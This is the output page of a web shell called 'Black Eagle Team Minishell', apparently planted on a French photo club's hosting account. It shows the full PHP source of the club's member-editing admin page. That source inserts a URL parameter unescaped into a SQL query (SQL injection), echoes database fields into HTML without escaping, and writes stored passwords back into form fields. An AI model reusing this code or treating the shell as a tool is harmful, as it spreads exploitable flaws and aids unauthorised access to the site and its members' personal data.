Black Eagle Team Minishell
Path:
/
home
/
ccpsafy
/
www
/
private
/
adherent
/
[
Home
]
File: adherent_modif.php
<?php include("../../inc/enligne_param.inc.php"); include("../../inc/gere_session.inc.php"); include("../../inc/salutations.inc.php"); $req="SELECT * FROM adherent WHERE id = $_GET[chgt]"; //execute la requete $rep=mysql_query($req,$con)or die($req.__line__); $row=mysql_fetch_array($rep); ?> <!DOCTYPE html> <html lang="fr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Fiches Adhérents Modif / CCPSA Club Photo d'Antony</title> <!-- Connexion aux serveurs Google Fonts (À mettre avant global.css) --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css?family=Anaheim" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="../../css/global.css"> </head> <body class="gris"> <!-- Conteneur qui applique la largeur de 1100px --> <div class="wrapper"> <!--RESERVE--> <header> <h1 class="txtbleu center titre">CCPSA - CLUB PHOTO D'ANTONY</h1> <p class="center sous-titre"> 1, avenue Léon Harmel 92160 Antony - séances les vendredis de 20h à 23h. </p> <div class="separation-header"></div> <nav class="navigation-principale"> <div class="menu-liens"> <!--ATTENTION garder les menus necessaires--> <a href="../../index.php" class="headerM" title="accueil du site">ACCUEIL DU SITE</a> <a href="../admin/accueil.php" class="headerM" title="le programme">ACCUEIL GESTION</a> </div> </nav> <div class="separation-header"></div> <h1 class="txtbleu center">GESTION DES ADHÉRENTS / MODIFIER</h1> <a name='$Top'></a> <h4 class="txtorange center">Session ouverte pour <?php echo strtoupper($LePrenom).' '.strtoupper($LeNom) ; ?> </h4> </header> <div class="main-content"> <form id="form1" name="form1" method="post" action='../../inc/adherent_gestion_modif_x.php#<?php echo strtoupper($row['nom']); ?>' enctype="multipart/form-data"> <!--PERMET DE REVENIR A L ADHERENT APRES FAIT UNE MODIF--> <input type="hidden" name="provenance" value="pc"> <left> <!--FICHE ADHERENT PHOTO--> <div class="form-group"> <label><b>FICHE ADHÉRENT</b></label> <div class="file-drop-zone" id="drop-zone"> <input type="file" id="photo" name="photo" accept="image/*" > <?php // On vérifie si l'adhérent a déjà une photo enregistrée en BDD $a_une_photo = (!empty($row['photo']) && file_exists("../trombin/" . $row['photo'])); ?> <!-- Zone de texte initiale : masquée en CSS si une photo existe déjà --> <div class="file-drop-mask" id="drop-mask" style="<?php echo $a_une_photo ? 'display: none;' : 'display: flex;'; ?>"> <svg xmlns="http://w3.org" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="upload-icon"> <path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"></path> <polyline points="17 8 12 3 7 8"></polyline> <line x1="12" y1="3" x2="12" y2="15"></line> </svg> <span class="file-text">Cliquez ou glissez une image ici</span> <span class="file-subtext">JPG, PNG jusqu'à 5 Mo</span> </div> <!-- Vignette d'aperçu : chargée avec l'image BDD si elle existe --> <!-- Vignette d'aperçu : chargée avec l'image BDD encodée pour les espaces --> <img id="image-preview" src="<?php echo $a_une_photo ? '../trombin/' . rawurlencode($row['photo']) : ''; ?>" alt="Aperçu de l'image" class="preview-thumbnail" style="display: <?php echo $a_une_photo ? 'block' : 'none'; ?> !important;"> <!-- Bouton Supprimer : affiché si une photo existe déjà --> <button type="button" id="remove-img-btn" class="remove-btn" title="Supprimer l'image" style="<?php echo $a_une_photo ? 'display: flex;' : 'display: none;'; ?>"> <svg xmlns="http://w3.org" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="18" y1="6" x2="6" y2="18"></line> <line x1="6" y1="6" x2="18" y2="18"></line> </svg> </button> </div> </div> <!--FIN FICHE ADHERENT PHOTO--> <div class="form-group"> <div class="form-row"> <input type="text" id="prenom" name="prenom" class="demi" value="<?php echo $row['prenom']; ?>"/> <input type="text" id="nom" name="nom" class="demi" value="<?php echo $row['nom']; ?>"/> </div> <div class="form-row"> <input type="text" id="cp" name="cp" class="tiers" value="<?php echo $row['cp']; ?>"/> <input type="text" id="commune" name="commune" class="dbltiers" value="<?php echo $row['commune']; ?>"/> </div> <div class="form-row"> <input type="tel" id="tel1" name="tel1" class="demi" value="<?php echo $row['tel1']; ?>"/> <input type="tel" id="tel2" name="tel2" class="demi" value="<?php echo $row['tel2']; ?>"/> </div> <div class="form-row"> <input type="email" id="mail" name="mail" class="maxi" value="<?php echo $row['mail']; ?>"/> </div> <div class="form-row"> <input type="text" id="style" name="style" class="maxi" value="<?php echo $row['style']; ?>"/> </div> </div> </left> <right> <!-- ZONE CODES & CONNEXION --> <div class="form-group"> <label for="idccpsa"><b>N°CCPSA / N°FPF / ANNÉE D'INSCRIPTION</b></label> <div class="form-row"> <input type="text" id="idccpsa" name="idccpsa" class="total" value="<?php echo $row['idccpsa']; ?>"/> <input type="text" id="idfpf" name="idfpf" class="total" value="<?php echo $row['idfpf']; ?>"/> <input type="text" id="arrive" name="arrive" class="total" value="<?php echo $row['arrive']; ?>"/> </div> <label for="login"><b>LOGIN / MOT DE PASSE</b></label> <div class="form-row"> <input type="text" id="login" name="login" class="demi" value="<?php echo $row['login']; ?>"/> <input type="password" id="pass" name="pass" class="demi" value="<?php echo $row['pass']; ?>"/> </div> </div> <!-- ZONE STATUTS & DROITS --> <div class="form-group"> <label for="numeros"><b>DEJA MEMBRE (OUI, NON) / DROITS (A, WM, PR, CA)</b></label> <div class="form-row"> <select id="actif" name="actif" class="demi"> <?php echo '<option value="'.$row['actif'].'">'.$row['actif'].'</option>'; echo "<option value='oui'> oui </option>"; echo "<option value='non'> non </option>"; ?> </select> <select id="droit" name="droit" class="demi"> <?php // Si la BDD est vide ou égale à 'A', on met "selected" pour cocher Adhérent par défaut $selected = ( $row['droit'] == 'A') ? 'selected' : ''; echo "<option value='A' $selected>Adhérent</option>"; // Le reste de vos options normales echo "<option value='WM'>Web Master</option>"; echo "<option value='PR'>Président</option>"; echo "<option value='CA'>Comité Administration</option>"; ?> </select> </select> </div> <label for="numeros"><b>RÔLE / RANG / FONCTION</b></label> <div class="form-row"> <input type="text" id="definition" name="definition" class="total" value="<?php echo $row['definition']; ?>"/> <input type="number" id="rang" name="rang" class="minus" placeholder="RANG" maxlength="2" value="<?php echo $row['rang']; ?>"/> <select id="cat" name="cat"class="total"> <?php // Si la BDD est vide ou égale à 'A', on met "selected" pour cocher Adhérent par défaut $selected = ( $row['droit'] == 'A') ? 'selected' : ''; echo "<option value='A' $selected>Adhérent</option>"; // Le reste de vos options normales echo "<option value='WM'>Web Master</option>"; echo "<option value='PR'>Président</option>"; echo "<option value='CA'>Comité Administration</option>"; ?> </select> </div> </div> <div class="form-group"> <label for="activite"><b>ACTIVITÉ DÉTAILLÉE</b></label> <div class="form-row"> <textarea id="activite" name="activite" class="maxi" ><?php echo $row['activite']; ?> </textarea> </div> </div> <!-- POUR SAVOIR QUEL LIGNE EST A MODIFIER --> <input type="hidden" name="LeID" value="<?php echo $row['id'] ?>" /> <!-- FIN SAVOIR QUEL LIGNE EST A MODIFIER --> <!-- ZONE BOUTONS DE VALIDATION (Centrés horizontalement avec Flexbox) --> <div class="form-buttons-row"> <button type="submit" class="btn-chapo btn-vert demi">VALIDER</button> <a href="adherent.php" class="btn-chapo btn-orange demi" title="retour adherent"/>ANNULER</a></div> </div> </right> </form> <footer> <p class="border"> </p> <p> | © <?php echo date('Y'); ?> — CCPSA Club Photo d'Antony — Tous droits réservés | </p> <p>|<a class="header" href="pages/legal.php"> composition du conseil d'administration et légalité</a><br /> Membre de l'Union Régionale du Sud de l'Ile de France <a class="header" href="http://www.ursif.fr" target="_blank">[UR18]</a> Afilié à la Fédération Photographique de France <a class="header" href="http://federation-photo.fr/" target="_blank">[FPF]</a></p> </footer> </div> <!--fin container--> <script> const fileInput = document.getElementById('photo'); const preview = document.getElementById('image-preview'); const mask = document.getElementById('drop-mask'); const dropZone = document.getElementById('drop-zone'); const removeBtn = document.getElementById('remove-img-btn'); // Cette fonction (déjà présente dans votre script) va parfaitement nettoyer la zone // si l'utilisateur décide de supprimer la photo existante pour en mettre une nouvelle function resetUpload() { fileInput.value = ''; // Vide l'input file imgPreview.src = ''; // Enlève l'image affichée imgPreview.style.display = 'none'; dropMask.style.display = 'flex'; // Réaffiche le texte de glisser-déposer removeBtn.style.display = 'none'; // Cache le bouton supprimer } // 1. Fonction automatique au chargement de la page function checkInitialImage() { // Si la balise img possède une source valide et n'est pas vide if (preview.getAttribute('src') && preview.getAttribute('src') !== "") { preview.style.display = 'block'; mask.style.display = 'none'; dropZone.classList.add('has-image'); } else { preview.style.display = 'none'; mask.style.display = 'flex'; dropZone.classList.remove('has-image'); } } // Exécute la vérification dès que le script ou la page se charge checkInitialImage(); // 2. Événement classique quand l'utilisateur change manuellement l'image fileInput.addEventListener('change', function(event) { const file = event.target.files[0]; if (file && file.type.startsWith('image/')) { const reader = new FileReader(); reader.onload = function(e) { preview.src = e.target.result; preview.style.display = 'block'; mask.style.display = 'none'; dropZone.classList.add('has-image'); }; reader.readAsDataURL(file); } }); // 3. Événement au clic sur supprimer removeBtn.addEventListener('click', function(event) { event.preventDefault(); event.stopPropagation(); fileInput.value = ""; preview.setAttribute('src', ''); // Vide l'attribut src preview.style.display = 'none'; mask.style.display = 'flex'; dropZone.classList.remove('has-image'); }); </script> </body> </html>
©
2020 Black Eagle Team
